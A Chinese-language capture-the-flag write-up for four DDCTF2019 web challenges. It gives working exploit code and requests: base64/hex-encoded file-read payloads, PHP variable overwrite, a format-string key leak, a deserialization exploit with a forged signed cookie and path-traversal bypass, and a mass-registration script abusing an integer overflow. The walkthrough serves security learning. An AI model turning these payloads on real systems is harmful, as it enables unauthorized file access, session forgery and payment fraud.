DDCTF2019 write up

栏目: 编程工具 · 发布时间: 5年前

最近几天抽时间做了做DDCTF,只做出了几道Web,菜哭了==,这里将做出的题记录一下吧(参赛id:stark)

滴~

http://117.51.150.246

打开题目后跳到了一个连接,页面内容是一个表情包,jpg参数值看起来像一串base64,如下图

DDCTF2019 write up

将jpg的参数值TmpZMlF6WXhOamN5UlRaQk56QTJOdz09经过两次base64解码和一次hex解码后得到flag.jpg,另外在页面源码里面看到了flag.jpg图片内容base64编码后的内容,这里是使用img标签通过data伪协议将图片显示到了页面中

DDCTF2019 write up

所以猜测这里可能是一个任意文件读取,将index.php进行一次hex编码两次base64编码后得到TmprMlpUWTBOalUzT0RKbE56QTJPRGN3,将值传入jpg参数尝试读取index.php源码,可以读取成功

DDCTF2019 write up

结果如下:

PD9waHANCi8qDQogKiBodHRwczovL2Jsb2cuY3Nkbi5uZXQvRmVuZ0JhbkxpdVl1bi9hcnRpY2xlL2RldGFpbHMvODA2MTY2MDcNCiAqIERhdGU6IEp1bHkgNCwyMDE4DQogKi8NCmVycm9yX3JlcG9ydGluZyhFX0FMTCB8fCB+RV9OT1RJQ0UpOw0KDQoNCmhlYWRlcignY29udGVudC10eXBlOnRleHQvaHRtbDtjaGFyc2V0PXV0Zi04Jyk7DQppZighIGlzc2V0KCRfR0VUWydqcGcnXSkpDQogICAgaGVhZGVyKCdSZWZyZXNoOjA7dXJsPS4vaW5kZXgucGhwP2pwZz1UbXBaTWxGNldYaE9hbU41VWxSYVFrNTZRVEpPZHowOScpOw0KJGZpbGUgPSBoZXgyYmluKGJhc2U2NF9kZWNvZGUoYmFzZTY0X2RlY29kZSgkX0dFVFsnanBnJ10pKSk7DQplY2hvICc8dGl0bGU+Jy4kX0dFVFsnanBnJ10uJzwvdGl0bGU+JzsNCiRmaWxlID0gcHJlZ19yZXBsYWNlKCIvW15hLXpBLVowLTkuXSsvIiwiIiwgJGZpbGUpOw0KZWNobyAkZmlsZS4nPC9icj4nOw0KJGZpbGUgPSBzdHJfcmVwbGFjZSgiY29uZmlnIiwiISIsICRmaWxlKTsNCmVjaG8gJGZpbGUuJzwvYnI+JzsNCiR0eHQgPSBiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7DQoNCmVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL2dpZjtiYXNlNjQsIi4kdHh0LiInPjwvaW1nPiI7DQovKg0KICogQ2FuIHlvdSBmaW5kIHRoZSBmbGFnIGZpbGU/DQogKg0KICovDQoNCj8+DQo=

base64解码后:

<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
   header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/

?>

通过源码可以大概猜测出来flag在config.php配置文件里面,经过测试这个文件是存在的,但是str_replace(“config”,”!”, $file)会将传入的config.php替换为!.php,所以这里是绕不过去的,但是代码里面有一个博客链接:

https://blog.csdn.net/FengBanLiuYun/article/details/80616607

这里可能是一个hint,但是这篇连接的文章并没有什么提示,接下来在博客里翻到了一篇文章,这个文章讲的是有关临时交换文件的

https://blog.csdn.net/FengBanLiuYun/article/details/80913909
DDCTF2019 write up

这篇文章里面提到了一个名为practice.txt.swp的文件,开了一下脑洞,试着访问了一下该文件发现确实存在

DDCTF2019 write up

文件内容是另一个文件的名字f1ag!ddctf.php,并且里面有!,可以绕过之前的检测,所以这里可以读取到f1ag!ddctf.php文件,将f1agconfigddctf.php进行一次hex编码两次base64编码后构造出TmpZek1UWXhOamMyTXpabU5tVTJOalk1TmpjMk5EWTBOak0zTkRZMk1tVTNNRFk0TnpBPQ==,传入jpg参数读到f1ag!ddctf.php的源码

DDCTF2019 write up

得到结果:

PD9waHANCmluY2x1ZGUoJ2NvbmZpZy5waHAnKTsNCiRrID0gJ2hlbGxvJzsNCmV4dHJhY3QoJF9HRVQpOw0KaWYoaXNzZXQoJHVpZCkpDQp7DQogICAgJGNvbnRlbnQ9dHJpbShmaWxlX2dldF9jb250ZW50cygkaykpOw0KICAgIGlmKCR1aWQ9PSRjb250ZW50KQ0KCXsNCgkJZWNobyAkZmxhZzsNCgl9DQoJZWxzZQ0KCXsNCgkJZWNobydoZWxsbyc7DQoJfQ0KfQ0KDQo/Pg==

base64解码得到源码内容:

<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
    $content=trim(file_get_contents($k));
    if($uid==$content)
	{
		echo $flag;
	}
	else
	{
		echo'hello';
	}
}

?>

这里是一个简单的变量覆盖,可以构造: http://117.51.150.246/f1ag!ddctf.php?uid=f1ag!ddctf.php&k=practice.txt.swp 获取flag

DDCTF2019 write up

flag:DDCTF{436f6e67726174756c6174696f6e73}

另外这里有一个tip,可以不使用变量覆盖,直接构造 http://117.51.150.246/f1ag!ddctf.php?uid= 获取到flag

DDCTF2019 write up

因为$k变量的值hello是一个不存在的文件,会导致 file_get_contents 返回False,接下来False经过 trim 函数处理后会产生一次类型转换变成空字符串,所以 $uid==$content ,直接输出了flag

WEB签到题

http://117.51.158.44/index.php

打开后直接访问会提示没有登陆权限

DDCTF2019 write up

查看源码后发现存在一个 /js/index.js 文件,index.js代码如下:

/**
* Created by PhpStorm.
* User: didi
* Date: 2019/1/13
* Time: 9:05 PM
*/

function auth(){
    $.ajax({
        type: "post",
        url:"http://117.51.158.44/app/Auth.php",
        contentType: "application/json;charset=utf-8",
        dataType: "json",
        beforeSend: function (XMLHttpRequest){
            XMLHttpRequest.setRequestHeader("didictf_username", "");
        },
        success: function (getdata){
           console.log(getdata);
           if(getdata.data !== '') {
               document.getElementById('auth').innerHTML = getdata.data;
           }
        },error:function(error){
            console.log(error);
        }
    });
}

通过简单的审计可以看到这里存在一个认证,通过ajax添加了一个http请求头 didictf_username ,猜测服务端是根据这个header头的值去做认证的,如果想访问到页面,首先需要得到出来一个username值,所以这里先对 didictf_username 进行爆破,通过爆破看到admin可以认证成功,之后会返回一个提示:app\/fL2XID2i0Cdh.php这个文件

DDCTF2019 write up

访问 http://117.51.158.44/app/fL2XID2i0Cdh.php ,可以获取到源码,源码如下:

url:app/Application.php


Class Application{
    var $path = '';


    public function response($data, $errMsg ='success'){
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth(){
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
            exit();
        }

    }
    private function sanitizepath($path){
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
}

public function __destruct(){
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}
}




url:app/Session.php



include 'Application.php';
class Sessionextends Application{

    //key建议为8位字符串
    var $eancrykey                  = '';
    var $cookie_expiration			= 7200;
    var $cookie_name                = 'ddctf_id';
    var $cookie_path				= '';
    var $cookie_domain				= '';
    var $cookie_secure				= FALSE;
    var $activity                   = "DiDiCTF";


    public function index()
{
	if(parent::auth()) {
            $this->get_key();
            if($this->session_read()) {
                $data = 'DiDI Welcome you %s';
                $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
                parent::response($data,'sucess');
            }else{
                $this->session_create();
                $data = 'DiDI Welcome you';
                parent::response($data,'sucess');
            }
        }

    }

    private function get_key(){
        //eancrykey and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
    }

    public function session_read(){
        if(empty($_COOKIE)) {
        return FALSE;
        }

        $session = $_COOKIE[$this->cookie_name];
        if(!isset($session)) {
            parent::response("session not found",'error');
            return FALSE;
        }
        $hash = substr($session,strlen($session)-32);
        $session = substr($session,0,strlen($session)-32);

        if($hash !== md5($this->eancrykey.$session)) {
            parent::response("the cookie data not match",'error');
            return FALSE;
        }
        $session = unserialize($session);


        if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
            return FALSE;
        }

        if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

        if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
            parent::response('the ip addree not match'.'error');
            return FALSE;
        }
        if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
            parent::response('the user agent not match','error');
            return FALSE;
        }
        return TRUE;

    }

    private function session_create(){
        $sessionid = '';
        while(strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0,mt_getrandmax());
        }

        $userdata = array(
            'session_id' => md5(uniqid($sessionid,TRUE)),
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
            'user_data' => '',
        );

        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
        $expire = $this->cookie_expiration + time();
        setcookie(
            $this->cookie_name,
            $cookiedata,
            $expire,
            $this->cookie_path,
            $this->cookie_domain,
            $this->cookie_secure
            );

    }
}


$ddctf = new Session();
$ddctf->index();

通过对代码代码审计可以看到在$session = unserialize($session)这里存在一个反序列化漏洞,这个点应该是个突破点,可以通过传入反序列化字符串触发Application对象当中的_destructs方法,_destructs当中存在任意文件读取,通过任意文件读取就可以读取到flag,另外代码里面限制了$path值为18个字符,结合代码的注释可以大概猜到flag文件为 ../config/flag.txt

但是想要触发反序列化漏洞,首先需要获取到 ../config/key.txt 文件当中的key,否则cookie是不能随意修改的,因为这里存在认证,获取key的方法如下

第一步,请求Session.php, session_create 函数会设置cookie,这里先获取到cookie

DDCTF2019 write up

第二步:将获取到的cookie添加到请求里面,绕过”the cookie data not match”

DDCTF2019 write up

接下来在传入post参数nickname的代码处,有一个foreach循环,这里会将key输出,代码如下:

DDCTF2019 write up

第一次循环,将Welcome my friend %s当中的%s替换为了 $_POST['nickname'] ,此时$data变为了Welcome my friend $_POST['nickname'] ,第二次循环,要将key写入$data的时候,%s已经没有了,所以这里只输出了传入的nickname而不是key

DDCTF2019 write up

那么要想输出key,可以将nickname设置为%s,这样第一次循环后$data变为了Welcome my friend %s,第二次循环后%s就可以被替换为key输出了

DDCTF2019 write up

获取到key值: EzblrbNSO ,得到key后,$cookiedata的值就可以随便构造了,这里构造序列化字符串进行任意文件读取,生成的exp代码如下:

<?php
Class Application{
    var $path = '..././config/flag.txt';
}
$a=new Application();
echo serialize($a);
echo md5('EzblrbNSO:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}');
?>

因为 $path=str_replace('../','',$path);$path=str_replace('..\\','',$path); 会删除 ../ ,所以这里需要使用双写 ..././ 绕过,之后得到:

O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}5a014dbe49334e6dbb7326046950bee2

将生成的exp进行传入cookie当中的ddctf_id请求即可,注意这里需要将 O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";} 部分进行url编码,这样做是为了防止一些特殊字符的影响,然后就可以获取到flag了

DDCTF2019 write up

flag: DDCTF{ddctf2019_G4uqwj6E_pHVlHIDDGdV8qA2j}

Upload-IMG

http://117.51.148.166/upload.php

题目提供了用户名和密码:

user:dd@ctf
pass:DD@ctf#000

通过提供用户名密码登陆后看到是一个上传页面

DDCTF2019 write up

经过尝试发现这里对图片的16进制头做了检查,另一方面也会对上传的图片进行二次渲染,上传的图片格式都会变成jpg图片格式的

这里要求上传的图片里必须要phpinfo()这个字符串才能输出flag,但是由于二次渲染会的原因,图片当中插入的代码会被删除,这里需要突破二次渲染,类似于upload-labs的第16关,相关文章如下:

https://xz.aliyun.com/t/2657

这里可以使用文章当中提到的国外大神写的脚本实现对jpg二次渲染的突破

https://github.com/BlackFan/jpg_payload

最终通过脚本生成的图片成功得到flag

DDCTF2019 write up

DDCTF2019 write up

flag: DDCTF{B3s7_7ry_php1nf0_85127c366b3a9fad}

大吉大利,今晚吃鸡~

http://117.51.147.155:5050/index.html#/login

题目提示:注册用户登陆系统并购买入场票据,淘汰所有对手就能吃鸡啦~

注册账户登陆,发现自己只有100余额,但是购买门票需要2000余额

DDCTF2019 write up

于是想到了之前护网杯买大辣条的一道题,这里应该存在整型溢出,经过测试发现这里存在uint32位的整型溢出.在立即购买下订单的时候修改金额为2^32+1,也就是4294967297

DDCTF2019 write up

接下来在支付的时候可以产生溢出,通过1余额购买到门票

DDCTF2019 write up DDCTF2019 write up 买到票后可以获得礼包,礼包当中包括了id和ticket,游戏规则大概是这样:每个账号在买完票后都会生成自己的id和ticket,如果想要消灭对方,需要知道对方的id和ticket才可以。

但是这一点注册账号是没有任何限制的,所以这里可以通过注册大量的账号,通过溢出购买门票获得id和ticket,之后使用其中一个账号消灭其它的账号即可,整个过程可以通过脚本实现,几个操作的接口如下:

注册接口

http://117.51.147.155:5050/ctf/api/register?name=xxx&password=xxx

登陆接口

http://117.51.147.155:5050/ctf/api/login?name=xxx&password=xxx

请求支付/下订单接口,下完订单会返回对应的bill_id

http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967297

支付接口:通过溢出实现门票购买,购买成功后会返回对于的id和ticket

http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id=

移除对手接口

http://117.51.147.155:5050/ctf/api/remove_robot?id=xxx&ticket=xxx

最终编写出脚本如下:

import requests
import json
username=[]
def register():
    i=1
    while True:
        url="http://117.51.147.155:5050/ctf/api/register?name=mk%s&password=12345678"%(i)
        r=requests.get(url).json()
        print r
        if len(username)==400:
            print username
            break
        if r['code']==200:
            username.append("mk%s"%(i))
            i=i+1
        else:
            i=i+1
register()
for i in username:
    url="http://117.51.147.155:5050/ctf/api/login?name=%s&password=12345678"%(i)
    #print url
    r=requests.session()
    r.get(url)
    payurl="http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967297"
    data=r.get(payurl).json()
    bill_id=data['data'][0]['bill_id']
    pay="http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id=%s"%(bill_id)
    data=r.get(pay).json()
    yourid=data['data'][0]['your_id']
    ticket=data['data'][0]['your_ticket']
    r.get("http://117.51.147.155:5050/ctf/api/login?name=st4rk&password=12345678")
    delurl="http://117.51.147.155:5050/ctf/api/remove_robot?id=%s&ticket=%s"%(yourid,ticket)
    print r.get(delurl).json()

接下来就可以执行脚本获取flag,需要注意的一点就是这里不是每个账号都可以消灭成功的,而且越往后,消灭的概率就会越低,写这道题的时候自己大概注册了快10000个账号才吃到鸡==

最终获取到flag:

DDCTF2019 write up

flag: DDCTF{chiken_dinner_hyMCX[n47Fx)}


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

移动社交时代的互动搜索营销(全彩)

移动社交时代的互动搜索营销(全彩)

萧秋水、秋叶、南方锈才 / 电子工业出版社 / 2014-8-1 / 55.00元

《移动社交时代的互动搜索营销(全彩)》跳出搜索引擎的局限,告诉读者如何利用互联网找到客户的思维。《移动社交时代的互动搜索营销(全彩)》只谈如何有效利用搜索引擎(包括移动端搜索)、电商网站、新媒体,不传播所谓的一夜暴红、一夜暴富的神话。《移动社交时代的互动搜索营销(全彩)》作者利用其丰富的实战经验,结合大量国内不同行业的实际应用案例,生动地告诉读者,怎样正确地利用搜索引擎,以很小的投资获得巨大的回报......一起来看看 《移动社交时代的互动搜索营销(全彩)》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

SHA 加密
SHA 加密

SHA 加密工具

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试